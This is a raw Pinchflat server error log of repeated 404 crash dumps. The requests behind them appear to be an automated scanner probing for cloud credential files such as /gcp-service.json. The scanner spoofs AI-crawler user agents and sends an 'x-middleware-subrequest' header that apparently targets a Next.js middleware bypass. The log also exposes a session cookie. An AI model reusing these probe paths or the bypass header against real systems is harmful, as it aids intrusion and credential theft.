PinchflatWeb.Endpoint (connection #PID<0.29542.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29542.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33458}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29543.0>, params: %{}, path_info: ["firebase"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61S0XjCC4DjQABvmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29542.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33458}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29542.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33458}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: " (truncated) 16:49:05.299 [info] GET /push_config.json 16:49:05.299 [debug] QUERY OK source="settings" db=0.0ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.299 [debug] QUERY OK source="settings" db=0.0ms idle=22.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.299 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.299 [error] #PID<0.29545.0> running PinchflatWeb.Endpoint (connection #PID<0.29544.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /push_config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /push_config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29544.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/push_config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29545.0>, params: %{}, path_info: ["push_config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/push_config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61S5YOro8chwABvmh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29544.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/push_config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /push_config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29544.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/push_config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" } (truncated) 16:49:05.308 [info] GET /gc-service.json 16:49:05.308 [debug] QUERY OK source="settings" db=0.0ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.308 [debug] QUERY OK source="settings" db=0.0ms idle=30.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.308 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.308 [error] #PID<0.29547.0> running PinchflatWeb.Endpoint (connection #PID<0.29546.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /gc-service.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gc-service (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29546.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gc-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33476}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29547.0>, params: %{}, path_info: ["gc-service"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/gc-service.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61S7nScIynfUABvnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29546.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gc-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33476}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gc-service (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29546.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gc-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33476}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/ (truncated) 16:49:05.331 [info] GET /gcp-service.json 16:49:05.331 [debug] QUERY OK source="settings" db=0.1ms idle=53.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.332 [debug] QUERY OK source="settings" db=0.0ms idle=32.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.332 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.332 [error] #PID<0.29549.0> running PinchflatWeb.Endpoint (connection #PID<0.29548.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /gcp-service.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-service (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29548.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33490}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29549.0>, params: %{}, path_info: ["gcp-service"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/gcp-service.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TBJDSr5-5IABvnh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 